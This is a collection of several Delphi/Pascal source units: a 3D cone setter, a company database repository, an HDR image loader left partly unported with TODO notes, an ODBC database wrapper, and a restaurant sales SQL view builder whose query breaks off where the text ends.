if GLDXConeParamsEqual(GetParams, Value) then Exit;
PGLDColor3f(FColor.GetPointer)^ := GLDXColor3f(Value.Color);
FRadius1 := Value.Radius1;
FRadius2 := Value.Radius2;
FHeight := Value.Height;
FHeightSegs := Value.HeightSegs;
FCapSegs := Value.CapSegs;
FSides := Value.Sides;
FStartAngle := Value.StartAngle;
FSweepAngle := Value.SweepAngle;
PGLDVector3f(FPosition.GetPointer)^ := Value.Position;
PGLDRotation3D(FRotation.GetPointer)^ := Value.Rotation;
CreateGeometry;
Change;
end;
end.
|
unit URepositorioEmpresaMatriz;
interface
uses
UEmpresaMatriz,
UEntidade,
URepositorioDB,
URepositorioCidade,
URepositorioEstado,
URepositorioPais,
UPais,
UEstado,
UCidade,
SqlExpr
;
type
TRepositorioEmpresa = class (TrepositorioDB<TEmpresa>)
private
FRepositorioCidade : TRepositorioCidade;
public
constructor Create;
destructor Destroy; override;
procedure AtribuiDBParaEntidade(const coEmpresa: TEmpresa); override;
procedure AtribuiEntidadeParaDB(const coEmpresa: TEmpresa;
const coSQLQuery: TSQLQuery); override;
end;
implementation
uses
UDM
, DB
, SysUtils
;
{ TRepositorioEmpresaMatriz }
procedure TRepositorioEmpresa.AtribuiDBParaEntidade (const coEmpresa: TEmpresa);
begin
inherited;
with FSQLSelect do
begin
coEmpresa.NOME := FieldByName(FLD_EMPRESA_NOME).AsString;
coEmpresa.CNPJ := FieldByName(FLD_EMPRESA_CNPJ).AsString;
coEmpresa.IE := FieldByName(FLD_EMPRESA_IE).AsInteger;
coEmpresa.LOGRADOURO := FieldByName(FLD_EMPRESA_LOGRADOURO).AsString;
coEmpresa.NUMERO := FieldByName(FLD_EMPRESA_NUMERO).AsInteger;
coEmpresa.BAIRRO := FieldByName(FLD_EMPRESA_BAIRRO).AsString;
coEmpresa.CIDADE := TCIDADE(
FRepositorioCidade.Retorna (FieldByName (FLD_EMPRESA_MUNICIPIO).AsInteger));
coEmpresa.TELEFONE := FieldByName(FLD_EMPRESA_TELEFONE).AsString;
if (FieldByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).AsInteger) > 0 then
coEmpresa.ID_EMPRESA_MATRIZ := FieldByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).AsInteger
else
coEmpresa.ID_EMPRESA_MATRIZ := -1;
end;
end;
procedure TRepositorioEmpresa.AtribuiEntidadeParaDB(
const coEmpresa: TEmpresa; const coSQLQuery: TSQLQuery);
begin
inherited;
with coSQLQuery do
begin
ParamByName(FLD_EMPRESA_NOME).AsString := coEmpresa.NOME;
ParamByName(FLD_EMPRESA_CNPJ).AsString := coEmpresa.CNPJ;
ParamByName(FLD_EMPRESA_IE).AsInteger := coEmpresa.IE;
ParamByName(FLD_EMPRESA_LOGRADOURO).AsString := coEmpresa.LOGRADOURO;
ParamByName(FLD_EMPRESA_NUMERO).AsInteger := coEmpresa.NUMERO;
ParamByName(FLD_EMPRESA_BAIRRO).AsString := coEmpresa.BAIRRO;
ParamByName(FLD_EMPRESA_MUNICIPIO).AsInteger := coEmpresa.CIDADE.ID;
ParamByName(FLD_EMPRESA_TELEFONE).AsString := coEmpresa.TELEFONE;
if coEmpresa.ID_EMPRESA_MATRIZ > 0 then
ParamByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).AsInteger := coEmpresa.ID_EMPRESA_MATRIZ
else
begin
ParamByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).DataType := ftInteger;
ParamByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).Bound := True;
ParamByName(FLD_EMPRESA_EMPRESA_MATRIZ_ID).Clear;
end;
end;
end;
constructor TRepositorioEmpresa.Create;
begin
inherited Create (TEmpresa, TBL_EMPRESA, FLD_ENTIDADE_ID, STR_EMPRESAMATRIZ);
FRepositorioCidade := TRepositorioCidade.Create;
end;
destructor TRepositorioEmpresa.Destroy;
begin
FreeAndNil(FRepositorioCidade);
inherited;
end;
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
Good for preview picture in OpenDialog,
so you may include both HDRImage (preview) and GLFileHDR (loading)
}
unit uHDRImage;
interface
{$I VXScene.inc}
uses
Winapi.Windows,
System.Classes,
System.SysUtils,
FMX.Graphics,
VXS.OpenGL,
VXS.CrossPlatform,
VXS.VectorGeometry,
VXS.Graphics;
type
THDRImage = class(TBitmap)
public
{ TODO : E2170 Cannot override a non-virtual method }
procedure LoadFromStream(stream: TStream); //in VCL override;
procedure SaveToStream(stream: TStream); //in VCL override;
end;
//============================================================================
implementation
//============================================================================
uses
VXS.FileHDR,
VXS.TextureFormat;
// ------------------
// ------------------ THDRImage ------------------
// ------------------
procedure THDRImage.LoadFromStream(stream: TStream);
var
FullHDR: TVXHDRImage;
src, dst: PGLubyte;
y: integer;
begin
FullHDR := TVXHDRImage.Create;
try
FullHDR.LoadFromStream(stream);
except
FullHDR.Free;
raise;
end;
FullHDR.Narrow;
Width := FullHDR.LevelWidth[0];
Height := FullHDR.LevelHeight[0];
{ TODO : E2064 Left side cannot be assigned to }
(*
Transparent := false;
PixelFormat := glpf32bit;
*)
src := PGLubyte(FullHDR.Data);
for y := 0 to Height - 1 do
begin
{ TODO : E2003 Undeclared identifier: 'ScanLine' }
(*dst := ScanLine[Height - 1 - y];*)
Move(src^, dst^, Width * 4);
Inc(src, Width * 4);
end;
FullHDR.Free;
end;
procedure THDRImage.SaveToStream(stream: TStream);
begin
Assert(False, 'Not supported');
end;
// ------------------------------------------------------------------
initialization
// ------------------------------------------------------------------
{ TODO : E2003 Undeclared identifier: 'RegisterFileFormat', it needs to be added }
(*TPicture.RegisterFileFormat('HDR', 'High Dynamic Range Image', THDRImage);*)
// ------------------------------------------------------------------
finalization
// ------------------------------------------------------------------
{ TODO : E2003 Undeclared identifier: 'UnregisterFileFormat', it needs to be added }
(*TPicture.UnregisterGraphicClass(THDRImage);*)
end.
|
unit pasodbc;
{$IFDEF FPC}
{$MODE Delphi}
{$H+}
{$ELSE}
{$IFNDEF LINUX}
{$DEFINE WIN32}
{$ELSE}
{$DEFINE UNIX}
{$ENDIF}
{$ENDIF}
//ODBC-32 interface for libsql
//2005 R.M. Tegel
//Modified Artistic License
interface
uses
{$IFDEF WIN32}
Windows,
{$ENDIF}
Classes, SysUtils,
libodbc32,
passql,
sqlsupport;
type
TPromptType = (
pt_NOPROMPT,
pt_DRIVER_COMPLETE,
pt_DRIVER_PROMPT,
pt_DRIVER_COMPLETE_REQUIRED);
TODBCDB = class (TSQLDB)
private
FDSN: String;
FPrompt: TPromptType;
procedure SetDSN(const Value: String);
procedure SetPrompt(const Value: TPromptType);
//function FindOwnerWindowHandle: Integer;
protected
ODBCEnv: Integer;
ODBCHandle:Integer;
ODBCConn: Integer;
FHostInfo:String;
FInfo:String;
FConnectOptions:Integer;
FConnected: Boolean;
FInTransaction: Boolean;
//function GetHasResult: Boolean;
procedure StoreResult(Statement: Integer);
function GetErrorMsg (Statement: Integer): String;
procedure FillDBInfo; override;
function MapDatatype (_datatype: Integer): TSQLDataTypes;
procedure StoreFields (Statement: Integer);
procedure StoreRow (Statement: Integer; row: TResultRow);
public
FClientVersion: String; //holds version info of odbc.dll
constructor Create (AOwner:TComponent); override;
destructor Destroy; override;
function Query (SQL:String):Boolean; override;
function Connect (Host, User, Pass:String; DataBase: String=''):Boolean; override;
function DriverConnect (DSN: String; hwnd: Integer = 0): Boolean;
procedure Close; override;
function ExplainTable (Table:String): Boolean; override;
function ShowCreateTable (Table:String): Boolean; override;
function DumpTable (Table:String): Boolean; override;
function DumpDatabase (Table:String): Boolean; override;
function ShowTables: Boolean; override;
{
property DBHandle:MySQL read MyHandle; //Actual libmysql.dll / mysqlclient.so handle, use it if you want to call functions yourself
property HasResult:Boolean read GetHasResult;// write FHasResult; //Queryhas valid result set
property ServerInfo:String read GetServerInfo; //additional server info
property Info:String read FInfo;
property HostInfo:String read FHostInfo;
}
procedure StartTransaction; override;
procedure Commit; override;
procedure Rollback; override;
function Execute (SQL: String): THandle; override;
function FetchRow (Handle: THandle; var row: TResultRow): Boolean; override;
procedure FreeResult (Handle: THandle); override;
published
property ClientVersion: String read FClientVersion write FDummyString;
property DSN: String read FDSN write SetDSN;
property Prompt: TPromptType read FPrompt write SetPrompt;
end;
implementation
{ TODBCDB }
procedure TODBCDB.Close;
begin
inherited;
if FDLLLoaded then
begin
SQLDisconnect(ODBCHandle);
if Assigned(FOnClose) then FOnClose(Self);
end;
end;
function TODBCDB.Connect (Host, User, Pass: String; DataBase: String=''): Boolean;
var res: Integer;
begin
//only one of those required (...)
//with odbc, each odbc entry _is_ a database.
//host parameter is more or less obsolete.
Result := False;
if not (FDllLoaded and FConnected) then
exit;
if (Host='') and (Database<>'') then
Host := Database;
res := SQLConnect(ODBCHandle,PChar(Host),SQL_NTS,PChar(User),SQL_NTS,PChar(Pass),SQL_NTS);
FActive := res = SQL_SUCCESS;
//SQLConnect(DBHandle,PChar(Database),SQL_NTS,PChar(User),SQL_NTS,PChar(PWD),SQL_NTS);
Result := FActive;
if FActive then
FDatabase := Host
else
FDatabase := '';
if FActive then
FillDBInfo;
if FActive and Assigned(FOnOpen) then
FOnOpen(Self);
end;
constructor TODBCDB.Create(AOwner: TComponent);
begin
inherited;
//create a connection handle right after loading (...)
FDllLoaded := LoadLibODBC32(FLibraryPath);
if not FDLLLoaded then
exit;
if SQL_ERROR = SQLAllocEnv(ODBCEnv) then
ODBCEnv := -1
else
FConnected := SQL_ERROR <> SQLAllocConnect(ODBCEnv,ODBCHandle);
end;
destructor TODBCDB.Destroy;
begin
if FDllLoaded then
begin
if FConnected then
SQLFreeConnect (ODBCHandle);
SQLFreeEnv(ODBCEnv);
end;
inherited;
end;
function TODBCDB.DumpDatabase(Table: String): Boolean;
begin
Result := False;
end;
function TODBCDB.DumpTable(Table: String): Boolean;
begin
Result := False;
end;
function TODBCDB.ExplainTable(Table: String): Boolean;
begin
Result := False;
end;
function TODBCDB.GetErrorMsg(Statement: Integer): String;
var
sqlret:SQLRETURN;
i:SQLSMALLINT;
retmsglen: SQLSMALLINT;
SqlMsg: array[0..512] of Char;
SqlState:array[0..5] of Char;
errid: SQLRETURN;
begin
if not FDLLLoaded then
begin
Result := 'Failed to load dynamic link library ODBC32';
exit;
end;
i := length (sqlmsg)-2;
sqlret := SQLGetDiagRec(SQL_HANDLE_STMT, Statement, 1,sqlstate,@errid, SqlMsg, i, retmsglen);
if sqlret = SQL_SUCCESS then
begin
Result := StrPas(sqlstate)+':'+StrPas(SqlMsg);
end;
end;
function TODBCDB.Query(SQL: String): Boolean;
var Statement: NativeInt;
odbcres: Integer;
begin
Result := False;
if not FDLLLoaded then
exit;
FCurrentSet.Clear;
odbcres := SQLAllocStmt(ODBCHandle,Statement);
if odbcres = SQL_SUCCESS then
begin
if Assigned (FOnBeforeQuery) then
try
FOnBeforeQuery (Self, SQL);
except end;
odbcres := SQLExecDirect(Statement, PChar(SQL), Length(SQL));
case odbcres of
SQL_SUCCESS, SQL_NO_DATA:
begin
//SQLRowCount (Statement, FCurrentSet.FRowCount);
end;
end;
case odbcres of
SQL_SUCCESS:
begin
//storeresult will return the onerror
StoreResult(Statement);
FCurrentSet.FLastError := 0;
FCurrentSet.FLastErrorText := '';
end;
SQL_NO_DATA:
begin
//may be an insert, update or delete:
//if 'insert'=lowercase(copy(SQL,1,6)) then
//last insert id= SELECT @@IDENTITY
//select rows affected
//SQLRowCount (Statement, FCurrentSet.FRowCount);
end;
else
begin
//fetch last error
FCurrentSet.FLastError := odbcres;
FCurrentSet.FLastErrorText := GetErrorMsg (Statement);
if Assigned (FOnError) then
try
FOnError (Self);
except end;
end;
end; //case
//if 'insert'=lowercase(copy(SQL,1,6)) then
//last insert id= SELECT @@IDENTITY
//according to ms this call is depreciated
//and internally mapped to free handle
// if SQLFreeStmt(StateMent, SQL_DROP)<>SQL_SUCCESS then
//so we could replace it to
// if SQLFreeHandle (SQL_HANDLE_STMT, Statement) <> SQL_SUCCESS then
//however, this is ODBC 3.0 only. better not break backward compatability.
if SQLFreeStmt(StateMent, SQL_DROP)<>SQL_SUCCESS then
begin
//Error
FCurrentSet.FLastError := -1;
FCurrentSet.FLastErrorText := 'Could not free statement';
end;
end
else
begin
FCurrentSet.FLastError := -1;
FCurrentSet.FLastErrorText := 'Could not allocate statement';
end;
end;
procedure TODBCDB.Commit;
var Option: SQLInteger;
begin
if FInTransaction then
begin
SQLEndTran (SQL_HANDLE_DBC, ODBCHandle, SQL_COMMIT);
Option := SQL_AUTOCOMMIT_ON;
SQLSetConnectAttr (ODBCHandle, SQL_ATTR_AUTOCOMMIT, @Option, SQL_IS_POINTER);
end;
Unlock;
end;
procedure TODBCDB.Rollback;
var Option: SQLInteger;
begin
if FInTransaction then
begin
SQLEndTran (SQL_HANDLE_DBC, ODBCHandle, SQL_ROLLBACK);
Option := SQL_AUTOCOMMIT_ON;
SQLSetConnectAttr (ODBCHandle, SQL_ATTR_AUTOCOMMIT, @Option, SQL_IS_POINTER);
end;
Unlock;
end;
function TODBCDB.ShowCreateTable(Table: String): Boolean;
begin
Result := False;
end;
procedure TODBCDB.StartTransaction;
var Option: Integer;
res: Integer;
begin
Lock;
//not too sure if this works, according to docs it should on db's supporting transactions
Option := SQL_AUTOCOMMIT_OFF;
res := SQLSetConnectAttr (ODBCHandle, SQL_ATTR_AUTOCOMMIT, @Option, SQL_IS_POINTER);
//not all db support transactions
FInTransaction := res = SQL_SUCCESS;
end;
procedure TODBCDB.StoreResult(Statement: Integer);
var i,res,odbcrow: Integer;
NumCols: SmallInt;
S: TResultRow;
begin
CurrentResult.Clear;
//fill fields info
res :=SQLNumResultCols(Statement, NumCols);
FCurrentSet.FColCount := NumCols;
FCurrentSet.FRowCount := 0;
if (res in [SQL_SUCCESS, SQL_SUCCESS_WITH_INFO]) then
//something to fetch
begin
FCurrentSet.FHasResult := True;
StoreFields (Statement);
//fetch rows
//if (SQL_SUCCESS = SQLRowCount (Statement, FCurrentSet.FRowCount)) and
// (FCurrentSet.FRowCount>0) then
begin
odbcrow:=SQLFetch (Statement);
//odbcrow := SQLFetchScroll(Statement, SQL_FETCH_FIRST,1);
while odbcrow in [SQL_SUCCESS, SQL_SUCCESS_WITH_INFO] do
begin
FCurrentSet.FHasResult := True;
inc (FCurrentSet.FRowCount);
if FCallBackOnly then
i:=1
else
i:=FCurrentSet.FRowCount;
if i<=FCurrentSet.FRowList.Count then
begin
S := TResultRow(FCurrentSet.FRowList[i - 1]);
S.Clear;
S.FNulls.Clear;
end
else
begin
S := TResultRow.Create;
S.FFields := FCurrentSet.FFields; //copy pointer to ffields array
FCurrentSet.FRowList.Add(S);
end;
StoreRow (Statement, S);
if Assigned (FOnFetchRow) then
try
FOnFetchRow (Self, S);
except end;
odbcrow:=SQLFetch (Statement);
end;
end;
if Assigned (FOnSuccess) then
try
FOnSuccess(Self);
except end;
if Assigned (FOnQueryComplete) then
try
FOnQueryComplete(Self);
except end;
end
else
if Assigned (FOnError) then
try
FOnError (Self);
except end;
end;
function TODBCDB.ShowTables: Boolean;
var odbcres: Integer;
Statement: SQLHandle;
cn,sn,tn,tt: PChar;
ttype: String;
begin
Result := False;
if not FActive then
exit;
odbcres := SQLAllocStmt(ODBCHandle,Statement);
if odbcres = SQL_SUCCESS then
begin
cn := nil;
sn := nil;
tn := nil;
ttype := '''TABLE'', ''VIEW'''; //, ''SYSTEM TABLE''';
tt := PChar (ttype);
//tt := nil;
odbcres := SQLTables(Statement, cn, 0, sn, 0, tn, 0, tt, SQL_NTS);
if odbcres = SQL_SUCCESS then
begin
Result := True;
StoreResult (StateMent);
end;
SQLFreeStmt (Statement, SQL_DROP);
end;
end;
function TODBCDB.DriverConnect(DSN: String; hwnd: Integer=0): Boolean;
var res: Integer;
Buf: array[0..20000] of Char;
BufLen: SQLSmallInt;
dc: SQLUSmallInt;
begin
Result := False;
if not (FDllLoaded and FConnected) then
exit;
// SetLength (Buf, 8192);
// if (hwnd=0) and (FPrompt <> pt_NOPROMPT) then
// hwnd := findownerwindowhandle;
{
if hwnd<>0 then
dc := SQL_DRIVER_COMPLETE_REQUIRED
else
dc := SQL_DRIVER_NOPROMPT;
}
dc := SQLSMALLINT(FPrompt);
res := SQLDriverConnect (ODBCHandle, hwnd, PChar(DSN), SQL_NTS, Buf, Length(Buf)-20, BufLen, dc);
if res = SQL_SUCCESS then
begin
if BufLen>0 then
begin
//SetLength (Buf, BufLen);
end
else
Buf := '';
FDSN := Buf;
end
else
begin
FCurrentSet.FLastError := res;
//FCurrentSet.FLastErrorText := GetErrorMsg;
end;
FActive := res = SQL_SUCCESS;
Result := FActive;
if FActive then
FillDBInfo;
if FActive and Assigned(FOnOpen) then
FOnOpen(Self);
end;
procedure TODBCDB.SetDSN(const Value: String);
begin
DriverConnect (Value);
// FDSN := Value;
end;
procedure TODBCDB.SetPrompt(const Value: TPromptType);
begin
FPrompt := Value;
end;
procedure TODBCDB.FillDBInfo;
begin
inherited; //clears tables and indexes
if ShowTables then
begin
Tables := GetColumnAsStrings(2);
end;
//query indexes..
end;
function TODBCDB.MapDatatype(_datatype: Integer): TSQLDataTypes;
begin
case _datatype of
SQL_UNKNOWN_TYPE: Result := dtUnknown;
SQL_LONGVARCHAR: Result := dtString;
SQL_BINARY,
SQL_VARBINARY,
SQL_LONGVARBINARY: Result := dtBlob;
SQL_BIGINT: Result := dtInt64;
SQL_TINYINT: Result := dtTinyInt;
SQL_BIT: Result := dtBoolean;
SQL_WCHAR,
SQL_WVARCHAR,
SQL_WLONGVARCHAR: Result := dtWideString;
SQL_CHAR: Result := dtString;
SQL_NUMERIC,
SQL_DECIMAL,
SQL_INTEGER,
SQL_SMALLINT: Result := dtInteger;
SQL_FLOAT,
SQL_REAL,
SQL_DOUBLE: Result := dtFloat;
SQL_DATETIME: Result := dtDateTime;
SQL_VARCHAR: Result := dtString;
SQL_TYPE_DATE,
SQL_TYPE_TIME: Result := dtDateTime;
SQL_TYPE_TIMESTAMP: Result := dtTimeStamp;
// SQL_NO_TOTAL: Result := dtBoolean; //???
// SQL_NULL_DATA: Result := dtNull;
else
Result := dtUnknown;
end;
end;
function TODBCDB.Execute(SQL: String): THandle;
var res: Integer;
numcols: SmallInt;
begin
if not FDLLLoaded then
exit;
res := SQLAllocStmt (ODBCHandle, NativeInt(Result));
if res = SQL_SUCCESS then
begin
UseResultSet (Result);
FCurrentSet.Clear;
res := SQLExecDirect (Result, PChar(SQL), Length(SQL));
if res=SQL_SUCCESS then
begin
res :=SQLNumResultCols(Result, numcols);
if res=SQL_SUCCESS then
begin
FCurrentSet.FColCount := numcols;
StoreFields (Result);
end
else
FCurrentSet.FColCount := 0;
end
else
begin
// if res<>SQL_NO_DATA then
FCurrentSet.FLastError := res;
SQLFreeStmt (Result, SQL_DROP);
Result := 0;
end;
end
else
Result := 0;
end;
function TODBCDB.FetchRow(Handle: THandle; var row: TResultRow): Boolean;
var res: Integer;
begin
Result := False;
row := FCurrentSet.FNilRow;
if (not FDLLLoaded) or (Handle=0) then
exit;
UseResultSet (Handle);
res := SQLFetch (Handle);
if res=SQL_SUCCESS then
begin
Result := True;
row := FCurrentSet.FCurrentRow;
row.Clear;
StoreRow (Handle, row);
end
else
Result := False;
end;
procedure TODBCDB.FreeResult(Handle: THandle);
begin
if (not FDLLLoaded) or (Handle = 0) then
exit;
//pretty useless to store result here
FCurrentSet.FLastError := SQLFreeStmt(Handle, SQL_DROP);
//since we free the result set now
DeleteResultSet (Handle);
end;
procedure TODBCDB.StoreFields(Statement: Integer);
var i,j,res: Integer;
ColumnName:String;
NameLength:SQLSMALLINT;
ODBCDataType:SQLSMALLINT;
ColumnSize:SQLUINTEGER;
DecimalDigits:SQLSMALLINT;
Nullable:SQLSMALLINT;
begin
//fetch field info
for i:=0 to FCurrentSet.FColCount - 1 do
begin
SetLength (ColumnName, 512);
res := SQLDescribeCol(Statement, i+1, PChar(ColumnName),length(ColumnName),Namelength,ODBCdatatype,columnsize,decimaldigits,Nullable);
if res=SQL_SUCCESS then
begin
SetLength (ColumnName, NameLength);
end
else
begin
ColumnName := 'Unknown';
end;
begin
j:=FCurrentSet.FFields.AddObject(ColumnName, TFieldDesc.Create);
with TFieldDesc (FCurrentSet.FFields.Objects [j]) do
begin
name := ColumnName;
_datatype := odbcdatatype;
datatype := MapDataType (_datatype);
max_length := columnsize;
digits := decimaldigits;
required := Nullable = SQL_NO_NULLS;
end;
end;
end;
end;
procedure TODBCDB.StoreRow(Statement: Integer; row: TResultRow);
var j: Integer;
field: Integer;
returnlength: Integer;
data, buffer: String;
begin
for j:=0 to FCurrentSet.FColCount - 1 do
begin
Data := '';
SetLength (Buffer, 4034);
field:=SQLGetData(Statement,j+1,SQL_C_CHAR,PChar(Buffer),Length(Buffer),@returnlength);
while (field in [SQL_SUCCESS, SQL_SUCCESS_WITH_INFO]) and
((returnlength > Length(Buffer)){ or
(returnlength=SQL_NO_TOTAL)}) do
begin
Data := Data + Buffer;
field:=SQLGetData(Statement,j+1,SQL_C_CHAR,PChar(Buffer),Length(Buffer),@returnlength);
end;
if returnlength > 0 then
SetLength (Buffer, returnlength)
else
//Empty field
Buffer := '';
Data := Data + Buffer;
row.Add(Data);
row.FNulls.Add(Pointer(Integer(returnlength = SQL_NULL_DATA)));
end;
end;
end.
|
unit vwuFoodsComposition;
interface
uses
System.SysUtils, System.Classes, Variants, vwuCommon, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS,
FireDAC.Phys.Intf, FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt,
Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client, fruDateTimeFilter;
type
TvwFoodsComposition = class(TvwCommon)
FName: TWideStringField;
FQuantity: TFloatField;
FPrice: TFloatField;
FSumMoney: TFloatField;
FVisit: TIntegerField;
FPaySum: TFloatField;
FDiscountSum: TFloatField;
FMidServer: TIntegerField;
FIdentInVisit: TIntegerField;
private
FDateFilter: TfrDateTimeFilter;
FVisitFilter: Variant;
FMidServerFilter: Variant;
FIdentInVisitFilter: Variant;
FCustomerFilter: Variant;
FCardNumFilter: Variant;
function GetSqlDateFilter(): String;
function GetSqlVisitFilter(): String;
function GetSqlMidServerFilter(): String;
function GetSqlIdentInVisitFilter(): String;
function GetSqlCustomerFilter(): String;
function GetSqlCardNumFilter(): String;
public
constructor Create(Owner: TComponent); override;
property DateFilter: TfrDateTimeFilter read FDateFilter write FDateFilter;
property VisitFilter: Variant read FVisitFilter write FVisitFilter;
property MidServerFilter: Variant read FMidServerFilter write FMidServerFilter;
property IdentInVisitFilter: Variant read FIdentInVisitFilter write FIdentInVisitFilter;
property CustomerFilter: Variant read FCustomerFilter write FCustomerFilter;
property CardNumFilter: Variant read FCardNumFilter write FCardNumFilter;
{наименования вью}
class function ViewName(): String; override;
{получить текст базового запроса}
function GetViewText(aFilter: String): String; override;
end;
implementation
uses
uServiceUtils;
{%CLASSGROUP 'Vcl.Controls.TControl'}
{$R *.dfm}
{ TvwFoodsComposition }
constructor TvwFoodsComposition.Create(Owner: TComponent);
begin
inherited;
FVisitFilter := Null;
FMidServerFilter := Null;
FIdentInVisitFilter := Null;
FCustomerFilter := Null;
FCardNumFilter := Null;
end;
function TvwFoodsComposition.GetSqlIdentInVisitFilter: String;
begin
Result:= '';
if not IsNullID(IdentInVisitFilter)
then
begin
Result:= ' AND (Orders.IdentInVisit = ' + VarToStr(IdentInVisitFilter) + ')';
end;
end;
function TvwFoodsComposition.GetSqlMidServerFilter: String;
begin
Result:= '';
if not IsNullID(MidServerFilter)
then
begin
Result:= ' AND (Orders.MidServer = ' + VarToStr(MidServerFilter) + ')';
end;
end;
function TvwFoodsComposition.GetSqlCardNumFilter: String;
begin
Result:= '';
if FCardNumFilter <> Null
then
begin
Result:= ' AND (DishDiscounts.CardCode = N' + QuotedStr(FCardNumFilter) + ')';
end;
end;
function TvwFoodsComposition.GetSqlCustomerFilter: String;
begin
Result:= '';
if FCustomerFilter <> Null
then
begin
Result:= ' AND (DishDiscounts.Holder = N' + QuotedStr(FCustomerFilter) + ')';
end;
end;
function TvwFoodsComposition.GetSqlDateFilter: String;
begin
Result:= '';
if Assigned(FDateFilter)
then
begin
Result:= FDateFilter.GetSqlFilter('Orders.EndService', 'GlobalShifts.ShiftDate');
end;
end;
function TvwFoodsComposition.GetSqlVisitFilter: String;
begin
Result:= '';
if not IsNullID(VisitFilter)
then
begin
Result:= ' AND Orders.Visit = ' + VarToStr(FVisitFilter);
end;
end;
function TvwFoodsComposition.GetViewText(aFilter: String): String;
const
NewLine = #13#10;
begin
Result:=
' SELECT * ' + NewLine +
' FROM ( ' + NewLine +
' SELECT CAST(ROW_NUMBER() OVER(ORDER BY Orders.Visit) as INT) as ID, ' + NewLine +
' GlobalShifts.ShiftDate as LogicDate, ' + NewLine +
' Orders.MidServer as MidServer, ' + NewLine +
' Orders.Visit as Visit, ' + NewLine +
' Orders.IdentInVisit as IdentInVisit, ' + NewLine +
' Orders.StartService as OpenTable, ' + NewLine +
' Orders.EndService as CloseTable, ' + NewLine +
' Orders.TableName as TableName, ' + NewLine +
' Orders.PriceListSum as CheckSum, ' + NewLine +
' PrintChecks.CheckNum as CheckNum, ' + NewLine +
' DishDiscounts.CardCode as CardCode, ' + NewLine +
' DishDiscounts.Holder as CustomerName, ' + NewLine +
' Discounts.Name as DiscountName, ' + NewLine +
' SaleObjects.Name AS Name, ' + NewLine +
' SessionDishes.Price as Price, ' + NewLine +
' SUM(PayBindings.Quantity) AS Quantity, ' + NewLine +
' SUM(SessiOnDishes.Price * PayBindings.Quantity) as SumMoney, ' + NewLine +
' SUM(CASE ' + NewLine +
' WHEN Discparts.Sum IS NOT NULL ' + NewLine +
' THEN Discparts.Sum ' + NewLine +
' ELSE 0 ' + NewLine +
' END) as DiscountSum, ' + NewLine +
' SUM(PayBindings.PaySum) AS PaySum, ' + NewLine +
' Currencies.Name as CurrencyName, ' + NewLine +
' CashGroups.NetName as NetName, ' + NewLine +
' Restaurants.Name as RestaurantName ' + NewLine +
{информация о сменах работы ресторана}
' FROM GlobalShifts ' + NewLine +
{информацию о кассовых серверах}
' INNER JOIN CashGroups ON (CashGroups.SIFR = GlobalShifts.Midserver) ' + NewLine +
{Информация о заказе, состоит из пакетов}
' INNER JOIN Orders ON (GlobalShifts.MidServer = Orders.MidServer) ' + NewLine +
' AND (GlobalShifts.ShiftNum = Orders.iCommonShift) ' + NewLine +
' ' + GetSqlVisitFilter() + NewLine +
' ' + GetSqlIdentInVisitFilter() + NewLine +
' ' + GetSqlMidServerFilter() + NewLine +
{Содержит информацию о скидках}
' INNER JOIN Discparts ON (Orders.Visit = DiscParts.Visit) ' + NewLine +
' AND (Orders.MidServer = DiscParts.MidServer) ' + NewLine +
' AND (Orders.IdentInVisit = DiscParts.OrderIdent) ' + NewLine +
{Содержит информацию о скидках/наценках}
' INNER JOIN DishDiscounts ON (DishDiscounts.Visit = DiscParts.Visit) ' + NewLine +
' AND (DishDiscounts.MidServer = DiscParts.MidServer) ' + NewLine +
' AND (DishDiscounts.UNI = DiscParts.DiscLineUNI) ' + NewLine +
' AND (DishDiscounts.CardCode <> '''') ' + NewLine +
' AND (DishDiscounts.ChargeSource = 5) ' + NewLine +
GetSqlCardNumFilter() + NewLine +
GetSqlCustomerFilter() + NewLine +
{платежи}
' INNER JOIN PayBindings ON (PayBindings.Visit = DiscParts.Visit) ' + NewLine +
' AND (PayBindings.MidServer = DiscParts.MidServer) ' + NewLine +
' AND (PayBindings.UNI = DiscParts.BindingUNI) ' + NewLine +
{Содержит информацию о платежи с учетом валюты}
' INNER JOIN CurrLines ON (CurrLines.Visit = PayBindings.Visit) ' + NewLine +
' AND (CurrLines.MidServer = PayBindings.MidServer) ' + NewLine +
' AND (CurrLines.UNI = PayBindings.CurrUNI) ' + NewLine +
{информацию о чеках}
' INNER JOIN PrintChecks ON (PrintChecks.Visit = CurrLines.Visit) ' + NewLine +
' AND (PrintChecks.MidServer = CurrLines.MidServer) ' + NewLine +
' AND (PrintChecks.UNI = CurrLines.CheckUNI) ' + NewLine +
' AND ((PrintChecks.State = 6) OR (PrintChecks.State = 7)) ' + NewLine +
' AND (PrintChecks.Deleted = 0) ' + NewLine +
' INNER JOIN SaleObjects ON (SaleObjects.Visit = PayBindings.Visit) ' + NewLine +
' AND (SaleObjects.MidServer = PayBindings.MidServer) ' + NewLine +
' AND (SaleObjects.DishUNI = PayBindings.DishUNI) ' + NewLine +
' AND (SaleObjects.ChargeUNI = PayBindings.ChargeUNI) ' + NewLine +
' INNER JOIN SessionDishes ON (SessionDishes.Visit = SaleObjects.Visit) ' + NewLine +
' AND (SessionDishes.MidServer = SaleObjects.MidServer) ' + NewLine +
' AND (SessionDishes.UNI = SaleObjects.DishUNI) ' + NewLine +
{Содержит информацию о скидках/наценках}
' LEFT JOIN Discounts ON (Discounts.SIFR = DishDiscounts.Sifr) ' + NewLine +
{информацию о валюте}
' LEFT JOIN Currencies ON Currencies.SIFR = CurrLines.SIFR ' + NewLine +
{информацию о ресторане}
' LEFT JOIN Restaurants ON (Restaurants.SIFR = CashGroups.Restaurant) ' + NewLine +
' GROUP BY ' +
' GlobalShifts.ShiftDate, ' + NewLine +
' Orders.MidServer, ' + NewLine +
' Orders.Visit, ' + NewLine +
' Orders.IdentInVisit, ' + NewLine +
' Orders.StartService, ' + NewLine +
' Orders.EndService, ' + NewLine +
' Orders.TableName, ' + NewLine +
' Orders.PriceListSum, ' + NewLine +
' DishDiscounts.CardCode, ' + NewLine +
' DishDiscounts.Holder, ' + NewLine +
